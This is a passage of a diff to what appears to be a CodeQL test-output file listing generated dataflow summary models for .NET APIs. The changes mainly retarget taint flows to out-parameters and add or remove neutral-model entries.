System.Threading.Tasks.Dataflow;WriteOnceBlock;TryReceiveAll;(System.Collections.Generic.IList);Argument[this].SyntheticField[System.Threading.Tasks.Dataflow.WriteOnceBlock`1._value];Argument[0].Element;value;dfc-generated | | System.Threading.Tasks.Dataflow;WriteOnceBlock;WriteOnceBlock;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Threading.Tasks.Dataflow;WriteOnceBlock;WriteOnceBlock;(System.Func,System.Threading.Tasks.Dataflow.DataflowBlockOptions);Argument[0];Argument[0].Parameter[delegate-self];value;dfc-generated | | System.Threading.Tasks.Dataflow;WriteOnceBlock;WriteOnceBlock;(System.Func,System.Threading.Tasks.Dataflow.DataflowBlockOptions);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -19619,19 +19481,12 @@ summary | System.Threading;ExecutionContext;Run;(System.Threading.ExecutionContext,System.Threading.ContextCallback,System.Object);Argument[2];Argument[1].Parameter[0];value;hq-generated | | System.Threading;HostExecutionContextManager;SetHostExecutionContext;(System.Threading.HostExecutionContext);Argument[0];ReturnValue;taint;df-generated | | System.Threading;IOCompletionCallback;BeginInvoke;(System.UInt32,System.UInt32,System.Threading.NativeOverlapped*,System.AsyncCallback,System.Object);Argument[3];Argument[3].Parameter[delegate-self];value;hq-generated | -| System.Threading;Interlocked;CompareExchange;(System.IntPtr,System.IntPtr,System.IntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Interlocked;CompareExchange;(System.UIntPtr,System.UIntPtr,System.UIntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Interlocked;CompareExchange;(T,T,T);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Interlocked;Exchange;(System.IntPtr,System.IntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Interlocked;Exchange;(System.UIntPtr,System.UIntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Interlocked;Exchange;(T,T);Argument[0];ReturnValue;value;dfc-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T);Argument[0];ReturnValue;value;dfc-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object);Argument[2];ReturnValue;value;dfc-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object,System.Func);Argument[0];ReturnValue;value;dfc-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object,System.Func);Argument[0];ReturnValue;value;hq-generated | -| System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object,System.Func);Argument[2];ReturnValue;value;dfc-generated | -| System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object,System.Func);Argument[2];ReturnValue;value;hq-generated | +| System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object,System.Func);Argument[3].ReturnValue;Argument[0];value;dfc-generated | +| System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object,System.Func);Argument[3].ReturnValue;Argument[0];value;hq-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object,System.Func);Argument[3].ReturnValue;ReturnValue;value;dfc-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object,System.Func);Argument[3].ReturnValue;ReturnValue;value;hq-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object,System.Func);Argument[3];Argument[3].Parameter[delegate-self];value;dfc-generated | @@ -19642,13 +19497,10 @@ summary | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Object,System.Func);Argument[0];ReturnValue;value;dfc-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Object,System.Func);Argument[0];ReturnValue;value;hq-generated | -| System.Threading;LazyInitializer;EnsureInitialized;(T,System.Object,System.Func);Argument[1];ReturnValue;value;dfc-generated | -| System.Threading;LazyInitializer;EnsureInitialized;(T,System.Object,System.Func);Argument[1];ReturnValue;value;hq-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Object,System.Func);Argument[2];Argument[2].Parameter[delegate-self];value;dfc-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Object,System.Func);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Threading;Lock;EnterScope;();Argument[this];ReturnValue;taint;df-generated | | System.Threading;ManualResetEventSlim;get_WaitHandle;();Argument[this];ReturnValue;taint;df-generated | -| System.Threading;Mutex;TryOpenExisting;(System.String,System.Threading.Mutex);Argument[1];ReturnValue;value;dfc-generated | | System.Threading;Overlapped;Overlapped;(System.Int32,System.Int32,System.IntPtr,System.IAsyncResult);Argument[2];Argument[this];taint;df-generated | | System.Threading;Overlapped;Overlapped;(System.Int32,System.Int32,System.IntPtr,System.IAsyncResult);Argument[3];Argument[this];taint;df-generated | | System.Threading;Overlapped;Pack;(System.Threading.IOCompletionCallback);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -19661,8 +19513,6 @@ summary | System.Threading;PeriodicTimer;WaitForNextTickAsync;(System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | | System.Threading;PreAllocatedOverlapped;PreAllocatedOverlapped;(System.Threading.IOCompletionCallback,System.Object,System.Object);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Threading;PreAllocatedOverlapped;UnsafeCreate;(System.Threading.IOCompletionCallback,System.Object,System.Object);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | -| System.Threading;ReaderWriterLock;DowngradeFromWriterLock;(System.Threading.LockCookie);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;ReaderWriterLock;RestoreLock;(System.Threading.LockCookie);Argument[0];ReturnValue;value;dfc-generated | | System.Threading;RegisteredWaitHandle;Unregister;(System.Threading.WaitHandle);Argument[0];Argument[this];taint;df-generated | | System.Threading;SemaphoreSlim;WaitAsync;();Argument[this];ReturnValue;taint;df-generated | | System.Threading;SemaphoreSlim;WaitAsync;(System.Int32);Argument[this];ReturnValue;taint;df-generated | @@ -19686,12 +19536,6 @@ summary | System.Threading;Thread;Thread;(System.Threading.ParameterizedThreadStart,System.Int32);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Threading;Thread;Thread;(System.Threading.ThreadStart);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Threading;Thread;Thread;(System.Threading.ThreadStart,System.Int32);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | -| System.Threading;Thread;VolatileRead;(System.IntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Thread;VolatileRead;(System.Object);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Thread;VolatileRead;(System.UIntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Thread;VolatileWrite;(System.IntPtr,System.IntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Thread;VolatileWrite;(System.Object,System.Object);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Thread;VolatileWrite;(System.UIntPtr,System.UIntPtr);Argument[0];ReturnValue;value;dfc-generated | | System.Threading;ThreadExceptionEventArgs;ThreadExceptionEventArgs;(System.Exception);Argument[0];Argument[this].SyntheticField[System.Threading.ThreadExceptionEventArgs.m_exception];value;dfc-generated | | System.Threading;ThreadExceptionEventArgs;get_Exception;();Argument[this].SyntheticField[System.Threading.ThreadExceptionEventArgs.m_exception];ReturnValue;value;dfc-generated | | System.Threading;ThreadExceptionEventHandler;BeginInvoke;(System.Object,System.Threading.ThreadExceptionEventArgs,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | @@ -19723,9 +19567,6 @@ summary | System.Threading;Timer;Timer;(System.Threading.TimerCallback,System.Object,System.TimeSpan,System.TimeSpan);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Threading;Timer;Timer;(System.Threading.TimerCallback,System.Object,System.UInt32,System.UInt32);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Threading;TimerCallback;BeginInvoke;(System.Object,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | -| System.Threading;Volatile;Write;(System.IntPtr,System.IntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Volatile;Write;(System.UIntPtr,System.UIntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Volatile;Write;(T,T);Argument[0];ReturnValue;value;dfc-generated | | System.Threading;WaitCallback;BeginInvoke;(System.Object,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Threading;WaitHandleExtensions;GetSafeWaitHandle;(System.Threading.WaitHandle);Argument[0].Property[System.Threading.WaitHandle.SafeWaitHandle];ReturnValue;value;dfc-generated | | System.Threading;WaitHandleExtensions;SetSafeWaitHandle;(System.Threading.WaitHandle,Microsoft.Win32.SafeHandles.SafeWaitHandle);Argument[1];Argument[0];taint;df-generated | @@ -20342,17 +20183,20 @@ summary | System.Xml.Serialization;XmlSerializationReader;ReadElementQualifiedName;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadNullableQualifiedName;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadNullableString;();Argument[this];ReturnValue;taint;df-generated | -| System.Xml.Serialization;XmlSerializationReader;ReadReference;(System.String);Argument[this];ReturnValue;taint;df-generated | +| System.Xml.Serialization;XmlSerializationReader;ReadReference;(System.String);Argument[this];Argument[0];taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencedElement;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencedElement;(System.String,System.String);Argument[0];ReturnValue;taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencedElement;(System.String,System.String);Argument[1];ReturnValue;taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencedElement;(System.String,System.String);Argument[this];ReturnValue;taint;df-generated | +| System.Xml.Serialization;XmlSerializationReader;ReadReferencingElement;(System.String);Argument[this];Argument[0];taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencingElement;(System.String);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencingElement;(System.String,System.String,System.Boolean,System.String);Argument[0];ReturnValue;taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencingElement;(System.String,System.String,System.Boolean,System.String);Argument[1];ReturnValue;taint;df-generated | +| System.Xml.Serialization;XmlSerializationReader;ReadReferencingElement;(System.String,System.String,System.Boolean,System.String);Argument[this];Argument[3];taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencingElement;(System.String,System.String,System.Boolean,System.String);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencingElement;(System.String,System.String,System.String);Argument[0];ReturnValue;taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencingElement;(System.String,System.String,System.String);Argument[1];ReturnValue;taint;df-generated | +| System.Xml.Serialization;XmlSerializationReader;ReadReferencingElement;(System.String,System.String,System.String);Argument[this];Argument[2];taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencingElement;(System.String,System.String,System.String);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadSerializable;(System.Xml.Serialization.IXmlSerializable);Argument[0];ReturnValue;value;dfc-generated | | System.Xml.Serialization;XmlSerializationReader;ReadSerializable;(System.Xml.Serialization.IXmlSerializable,System.Boolean);Argument[0];ReturnValue;value;dfc-generated | @@ -20647,9 +20491,9 @@ summary | System.Xml;IXmlBinaryWriterInitializer;SetOutput;(System.IO.Stream,System.Xml.IXmlDictionary,System.Xml.XmlBinaryWriterSession,System.Boolean);Argument[0];Argument[this];taint;df-generated | | System.Xml;IXmlBinaryWriterInitializer;SetOutput;(System.IO.Stream,System.Xml.IXmlDictionary,System.Xml.XmlBinaryWriterSession,System.Boolean);Argument[1];Argument[this];taint;df-generated | | System.Xml;IXmlBinaryWriterInitializer;SetOutput;(System.IO.Stream,System.Xml.IXmlDictionary,System.Xml.XmlBinaryWriterSession,System.Boolean);Argument[2];Argument[this];taint;df-generated | -| System.Xml;IXmlDictionary;TryLookup;(System.Int32,System.Xml.XmlDictionaryString);Argument[this];ReturnValue;taint;df-generated | -| System.Xml;IXmlDictionary;TryLookup;(System.String,System.Xml.XmlDictionaryString);Argument[this];ReturnValue;taint;df-generated | -| System.Xml;IXmlDictionary;TryLookup;(System.Xml.XmlDictionaryString,System.Xml.XmlDictionaryString);Argument[0];ReturnValue;value;dfc-generated | +| System.Xml;IXmlDictionary;TryLookup;(System.Int32,System.Xml.XmlDictionaryString);Argument[this];Argument[1];taint;df-generated | +| System.Xml;IXmlDictionary;TryLookup;(System.String,System.Xml.XmlDictionaryString);Argument[this];Argument[1];taint;df-generated | +| System.Xml;IXmlDictionary;TryLookup;(System.Xml.XmlDictionaryString,System.Xml.XmlDictionaryString);Argument[0];Argument[1];value;dfc-generated | | System.Xml;IXmlNamespaceResolver;GetNamespacesInScope;(System.Xml.XmlNamespaceScope);Argument[this];ReturnValue;taint;df-generated | | System.Xml;IXmlNamespaceResolver;LookupNamespace;(System.String);Argument[0];ReturnValue;value;dfc-generated | | System.Xml;IXmlNamespaceResolver;LookupPrefix;(System.String);Argument[this];ReturnValue;taint;df-generated | @@ -20723,9 +20567,9 @@ summary | System.Xml;XmlAttributeCollection;get_SyncRoot;();Argument[this];ReturnValue;value;dfc-generated | | System.Xml;XmlBinaryReaderSession;Add;(System.Int32,System.String);Argument[1];ReturnValue.SyntheticField[System.Xml.XmlDictionaryString._value];value;dfc-generated | | System.Xml;XmlBinaryReaderSession;Add;(System.Int32,System.String);Argument[this];ReturnValue.SyntheticField[System.Xml.XmlDictionaryString._dictionary];value;dfc-generated | -| System.Xml;XmlBinaryReaderSession;TryLookup;(System.Int32,System.Xml.XmlDictionaryString);Argument[this];ReturnValue;taint;df-generated | -| System.Xml;XmlBinaryReaderSession;TryLookup;(System.String,System.Xml.XmlDictionaryString);Argument[this];ReturnValue;taint;df-generated | -| System.Xml;XmlBinaryReaderSession;TryLookup;(System.Xml.XmlDictionaryString,System.Xml.XmlDictionaryString);Argument[0];ReturnValue;value;dfc-generated | +| System.Xml;XmlBinaryReaderSession;TryLookup;(System.Int32,System.Xml.XmlDictionaryString);Argument[this];Argument[1];taint;df-generated | +| System.Xml;XmlBinaryReaderSession;TryLookup;(System.String,System.Xml.XmlDictionaryString);Argument[this];Argument[1];taint;df-generated | +| System.Xml;XmlBinaryReaderSession;TryLookup;(System.Xml.XmlDictionaryString,System.Xml.XmlDictionaryString);Argument[0];Argument[1];value;dfc-generated | | System.Xml;XmlCDataSection;CloneNode;(System.Boolean);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlCDataSection;WriteContentTo;(System.Xml.XmlWriter);Argument[this];Argument[0];taint;df-generated | | System.Xml;XmlCDataSection;WriteTo;(System.Xml.XmlWriter);Argument[this];Argument[0];taint;df-generated | @@ -20782,9 +20626,9 @@ summary | System.Xml;XmlDeclaration;get_Value;();Argument[this];ReturnValue;taint;manual | | System.Xml;XmlDictionary;Add;(System.String);Argument[0];ReturnValue.SyntheticField[System.Xml.XmlDictionaryString._value];value;dfc-generated | | System.Xml;XmlDictionary;Add;(System.String);Argument[this];ReturnValue.SyntheticField[System.Xml.XmlDictionaryString._dictionary];value;dfc-generated | -| System.Xml;XmlDictionary;TryLookup;(System.Int32,System.Xml.XmlDictionaryString);Argument[this];ReturnValue;taint;df-generated | -| System.Xml;XmlDictionary;TryLookup;(System.String,System.Xml.XmlDictionaryString);Argument[this];ReturnValue;taint;df-generated | -| System.Xml;XmlDictionary;TryLookup;(System.Xml.XmlDictionaryString,System.Xml.XmlDictionaryString);Argument[0];ReturnValue;value;dfc-generated | +| System.Xml;XmlDictionary;TryLookup;(System.Int32,System.Xml.XmlDictionaryString);Argument[this];Argument[1];taint;df-generated | +| System.Xml;XmlDictionary;TryLookup;(System.String,System.Xml.XmlDictionaryString);Argument[this];Argument[1];taint;df-generated | +| System.Xml;XmlDictionary;TryLookup;(System.Xml.XmlDictionaryString,System.Xml.XmlDictionaryString);Argument[0];Argument[1];value;dfc-generated | | System.Xml;XmlDictionaryReader;CreateBinaryReader;(System.Byte[],System.Int32,System.Int32,System.Xml.IXmlDictionary,System.Xml.XmlDictionaryReaderQuotas);Argument[0].Element;ReturnValue;taint;df-generated | | System.Xml;XmlDictionaryReader;CreateBinaryReader;(System.Byte[],System.Int32,System.Int32,System.Xml.IXmlDictionary,System.Xml.XmlDictionaryReaderQuotas);Argument[3];ReturnValue;taint;df-generated | | System.Xml;XmlDictionaryReader;CreateBinaryReader;(System.Byte[],System.Int32,System.Int32,System.Xml.IXmlDictionary,System.Xml.XmlDictionaryReaderQuotas,System.Xml.XmlBinaryReaderSession);Argument[0].Element;ReturnValue;taint;df-generated | @@ -20806,11 +20650,13 @@ summary | System.Xml;XmlDictionaryReader;CreateTextReader;(System.Byte[],System.Int32,System.Int32,System.Text.Encoding,System.Xml.XmlDictionaryReaderQuotas,System.Xml.OnXmlDictionaryReaderClose);Argument[5];Argument[5].Parameter[delegate-self];value;hq-generated | | System.Xml;XmlDictionaryReader;CreateTextReader;(System.IO.Stream,System.Text.Encoding,System.Xml.XmlDictionaryReaderQuotas,System.Xml.OnXmlDictionaryReaderClose);Argument[3];Argument[3].Parameter[delegate-self];value;hq-generated | | System.Xml;XmlDictionaryReader;GetAttribute;(System.Xml.XmlDictionaryString,System.Xml.XmlDictionaryString);Argument[this];ReturnValue;taint;df-generated | -| System.Xml;XmlDictionaryReader;GetNonAtomizedNames;(System.String,System.String);Argument[this];ReturnValue;taint;df-generated | +| System.Xml;XmlDictionaryReader;GetNonAtomizedNames;(System.String,System.String);Argument[this];Argument[0];taint;df-generated | +| System.Xml;XmlDictionaryReader;GetNonAtomizedNames;(System.String,System.String);Argument[this];Argument[1];taint;df-generated | | System.Xml;XmlDictionaryReader;ReadContentAs;(System.Type,System.Xml.IXmlNamespaceResolver);Argument[1];ReturnValue;taint;df-generated | | System.Xml;XmlDictionaryReader;ReadContentAs;(System.Type,System.Xml.IXmlNamespaceResolver);Argument[this];Argument[1];taint;df-generated | | System.Xml;XmlDictionaryReader;ReadContentAs;(System.Type,System.Xml.IXmlNamespaceResolver);Argument[this];ReturnValue;taint;df-generated | -| System.Xml;XmlDictionaryReader;ReadContentAsQualifiedName;(System.String,System.String);Argument[this];ReturnValue;taint;df-generated | +| System.Xml;XmlDictionaryReader;ReadContentAsQualifiedName;(System.String,System.String);Argument[this];Argument[0];taint;df-generated | +| System.Xml;XmlDictionaryReader;ReadContentAsQualifiedName;(System.String,System.String);Argument[this];Argument[1];taint;df-generated | | System.Xml;XmlDictionaryReader;ReadContentAsString;();Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlDictionaryReader;ReadContentAsString;(System.Int32);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlDictionaryReader;ReadContentAsString;(System.String[],System.Int32);Argument[0].Element;ReturnValue;value;dfc-generated | @@ -21707,7 +21553,6 @@ summary | System;Array;ForEach;(T[],System.Action);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System;Array;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System;Array;Insert;(System.Int32,System.Object);Argument[1];Argument[this].Element;value;manual | -| System;Array;Resize;(T[],System.Int32);Argument[0];ReturnValue;value;dfc-generated | | System;Array;Reverse;(System.Array);Argument[0].Element;ReturnValue.Element;value;manual | | System;Array;Reverse;(System.Array,System.Int32,System.Int32);Argument[0].Element;ReturnValue.Element;value;manual | | System;Array;Reverse;(T[]);Argument[0].Element;ReturnValue.Element;value;manual | @@ -22140,7 +21985,7 @@ summary | System;DateTime;ToString;(System.IFormatProvider);Argument[this];ReturnValue;value;dfc-generated | | System;DateTime;ToString;(System.String,System.IFormatProvider);Argument[this];ReturnValue;taint;dfc-generated | | System;DateTime;ToType;(System.Type,System.IFormatProvider);Argument[this];ReturnValue;value;dfc-generated | -| System;DateTimeOffset;Deconstruct;(System.DateOnly,System.TimeOnly,System.TimeSpan);Argument[this].Property[System.DateTimeOffset.Offset];ReturnValue;value;dfc-generated | +| System;DateTimeOffset;Deconstruct;(System.DateOnly,System.TimeOnly,System.TimeSpan);Argument[this].Property[System.DateTimeOffset.Offset];Argument[2];value;dfc-generated | | System;DateTimeOffset;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;df-generated | | System;DateTimeOffset;ToString;(System.String,System.IFormatProvider);Argument[this];ReturnValue;taint;dfc-generated | | System;Decimal;Clamp;(System.Decimal,System.Decimal,System.Decimal);Argument[0];ReturnValue;value;dfc-generated | @@ -22590,8 +22435,6 @@ summary | System;MemoryExtensions;TrimStart;(System.Span,System.ReadOnlySpan);Argument[0].Element;ReturnValue.Element;value;dfc-generated | | System;MemoryExtensions;TrimStart;(System.Span,System.ReadOnlySpan);Argument[0];ReturnValue;value;dfc-generated | | System;MemoryExtensions;TrimStart;(System.Span,T);Argument[0].Element;ReturnValue.Element;value;dfc-generated | -| System;MemoryExtensions;TryWrite;(System.Span,System.IFormatProvider,System.MemoryExtensions+TryWriteInterpolatedStringHandler,System.Int32);Argument[2];ReturnValue;value;dfc-generated | -| System;MemoryExtensions;TryWrite;(System.Span,System.MemoryExtensions+TryWriteInterpolatedStringHandler,System.Int32);Argument[1];ReturnValue;value;dfc-generated | | System;MissingFieldException;MissingFieldException;(System.String,System.String);Argument[0];Argument[this].Field[System.MissingMemberException.ClassName];value;dfc-generated | | System;MissingFieldException;MissingFieldException;(System.String,System.String);Argument[1];Argument[this].Field[System.MissingMemberException.MemberName];value;dfc-generated | | System;MissingFieldException;get_Message;();Argument[this].SyntheticField[System.Exception._message];ReturnValue;value;dfc-generated | @@ -22768,8 +22611,6 @@ summary | System;String;Concat;(System.String[]);Argument[0].Element;ReturnValue;taint;manual | | System;String;Concat;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;manual | | System;String;Copy;(System.String);Argument[0];ReturnValue;value;manual | -| System;String;Create;(System.IFormatProvider,System.Runtime.CompilerServices.DefaultInterpolatedStringHandler);Argument[1];ReturnValue;value;dfc-generated | -| System;String;Create;(System.IFormatProvider,System.Span,System.Runtime.CompilerServices.DefaultInterpolatedStringHandler);Argument[2];ReturnValue;value;dfc-generated | | System;String;Create;(System.Int32,TState,System.Buffers.SpanAction);Argument[1];Argument[2].Parameter[1];value;dfc-generated | | System;String;Create;(System.Int32,TState,System.Buffers.SpanAction);Argument[1];Argument[2].Parameter[1];value;hq-generated | | System;String;Create;(System.Int32,TState,System.Buffers.SpanAction);Argument[2];Argument[2].Parameter[delegate-self];value;dfc-generated | @@ -22892,7 +22733,7 @@ summary | System;String;TrimStart;();Argument[this];ReturnValue;taint;manual | | System;String;TrimStart;(System.Char);Argument[this];ReturnValue;taint;manual | | System;String;TrimStart;(System.Char[]);Argument[this];ReturnValue;taint;manual | -| System;String;TryParse;(System.String,System.IFormatProvider,System.String);Argument[0];ReturnValue;value;dfc-generated | +| System;String;TryParse;(System.String,System.IFormatProvider,System.String);Argument[0];Argument[2];value;dfc-generated | | System;StringComparer;Compare;(System.Object,System.Object);Argument[0];Argument[this];taint;df-generated | | System;StringComparer;Compare;(System.Object,System.Object);Argument[1];Argument[this];taint;df-generated | | System;StringComparer;GetHashCode;(System.Object);Argument[0];Argument[this];taint;df-generated | @@ -22941,7 +22782,7 @@ summary | System;TimeZoneInfo;GetUtcOffset;(System.DateTimeOffset);Argument[this].SyntheticField[System.TimeZoneInfo._baseUtcOffset];ReturnValue;value;dfc-generated | | System;TimeZoneInfo;ToString;();Argument[this].Property[System.TimeZoneInfo.DisplayName];ReturnValue;value;dfc-generated | | System;TimeZoneInfo;ToString;();Argument[this].SyntheticField[System.TimeZoneInfo._displayName];ReturnValue;value;dfc-generated | -| System;TimeZoneInfo;TryFindSystemTimeZoneById;(System.String,System.TimeZoneInfo);Argument[0];ReturnValue.SyntheticField[System.TimeZoneInfo._id];value;dfc-generated | +| System;TimeZoneInfo;TryFindSystemTimeZoneById;(System.String,System.TimeZoneInfo);Argument[0];Argument[1].SyntheticField[System.TimeZoneInfo._id];value;dfc-generated | | System;TimeZoneInfo;get_BaseUtcOffset;();Argument[this].SyntheticField[System.TimeZoneInfo._baseUtcOffset];ReturnValue;value;dfc-generated | | System;TimeZoneInfo;get_DaylightName;();Argument[this].SyntheticField[System.TimeZoneInfo._daylightDisplayName];ReturnValue;value;dfc-generated | | System;TimeZoneInfo;get_DisplayName;();Argument[this].SyntheticField[System.TimeZoneInfo._displayName];ReturnValue;value;dfc-generated | @@ -23675,7 +23516,7 @@ summary | System;WeakReference;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;df-generated | | System;WeakReference;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;dfc-generated | | System;WeakReference;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;df-generated | -| System;WeakReference;TryGetTarget;(T);Argument[this];ReturnValue;taint;df-generated | +| System;WeakReference;TryGetTarget;(T);Argument[this];Argument[0];taint;df-generated | neutral | Dapper;SqlMapper+GridReader;Dispose;();summary;df-generated | | Dapper;SqlMapper+Identity;Equals;(Dapper.SqlMapper+Identity);summary;df-generated | @@ -24804,6 +24645,7 @@ neutral | Microsoft.Extensions.Primitives;StringTokenizer+Enumerator;Reset;();summary;df-generated | | Microsoft.Extensions.Primitives;StringTokenizer+Enumerator;get_Current;();summary;df-generated | | Microsoft.Extensions.Primitives;StringValues+Enumerator;Dispose;();summary;df-generated | +| Microsoft.Extensions.Primitives;StringValues+Enumerator;Enumerator;(Microsoft.Extensions.Primitives.StringValues);summary;df-generated | | Microsoft.Extensions.Primitives;StringValues+Enumerator;MoveNext;();summary;df-generated | | Microsoft.Extensions.Primitives;StringValues+Enumerator;Reset;();summary;df-generated | | Microsoft.Extensions.Primitives;StringValues+Enumerator;get_Current;();summary;df-generated | @@ -25057,6 +24899,7 @@ neutral | Microsoft.VisualBasic.CompilerServices;StringType;FromShort;(System.Int16);summary;df-generated | | Microsoft.VisualBasic.CompilerServices;StringType;FromSingle;(System.Single);summary;df-generated | | Microsoft.VisualBasic.CompilerServices;StringType;FromSingle;(System.Single,System.Globalization.NumberFormatInfo);summary;df-generated | +| Microsoft.VisualBasic.CompilerServices;StringType;MidStmtStr;(System.String,System.Int32,System.Int32,System.String);summary;df-generated | | Microsoft.VisualBasic.CompilerServices;StringType;StrCmp;(System.String,System.String,System.Boolean);summary;df-generated | | Microsoft.VisualBasic.CompilerServices;StringType;StrLike;(System.String,System.String,Microsoft.VisualBasic.CompareMethod);summary;df-generated | | Microsoft.VisualBasic.CompilerServices;StringType;StrLikeBinary;(System.String,System.String);summary;df-generated | @@ -25253,6 +25096,7 @@ neutral | Microsoft.VisualBasic;FileSystem;FileClose;(System.Int32[]);summary;df-generated | | Microsoft.VisualBasic;FileSystem;FileCopy;(System.String,System.String);summary;df-generated | | Microsoft.VisualBasic;FileSystem;FileDateTime;(System.String);summary;df-generated | +| Microsoft.VisualBasic;FileSystem;FileGet;(System.Int32,System.Array,System.Int64,System.Boolean,System.Boolean);summary;df-generated | | Microsoft.VisualBasic;FileSystem;FileGet;(System.Int32,System.Boolean,System.Int64);summary;df-generated | | Microsoft.VisualBasic;FileSystem;FileGet;(System.Int32,System.Byte,System.Int64);summary;df-generated | | Microsoft.VisualBasic;FileSystem;FileGet;(System.Int32,System.Char,System.Int64);summary;df-generated | @@ -25263,6 +25107,9 @@ neutral | Microsoft.VisualBasic;FileSystem;FileGet;(System.Int32,System.Int32,System.Int64);summary;df-generated | | Microsoft.VisualBasic;FileSystem;FileGet;(System.Int32,System.Int64,System.Int64);summary;df-generated | | Microsoft.VisualBasic;FileSystem;FileGet;(System.Int32,System.Single,System.Int64);summary;df-generated | +| Microsoft.VisualBasic;FileSystem;FileGet;(System.Int32,System.String,System.Int64,System.Boolean);summary;df-generated | +| Microsoft.VisualBasic;FileSystem;FileGet;(System.Int32,System.ValueType,System.Int64);summary;df-generated | +| Microsoft.VisualBasic;FileSystem;FileGetObject;(System.Int32,System.Object,System.Int64);summary;df-generated | | Microsoft.VisualBasic;FileSystem;FileLen;(System.String);summary;df-generated | | Microsoft.VisualBasic;FileSystem;FileOpen;(System.Int32,System.String,Microsoft.VisualBasic.OpenMode,Microsoft.VisualBasic.OpenAccess,Microsoft.VisualBasic.OpenShare,System.Int32);summary;df-generated | | Microsoft.VisualBasic;FileSystem;FilePut;(System.Int32,System.Array,System.Int64,System.Boolean,System.Boolean);summary;df-generated | @@ -25292,7 +25139,9 @@ neutral | Microsoft.VisualBasic;FileSystem;Input;(System.Int32,System.Int16);summary;df-generated | | Microsoft.VisualBasic;FileSystem;Input;(System.Int32,System.Int32);summary;df-generated | | Microsoft.VisualBasic;FileSystem;Input;(System.Int32,System.Int64);summary;df-generated | +| Microsoft.VisualBasic;FileSystem;Input;(System.Int32,System.Object);summary;df-generated | | 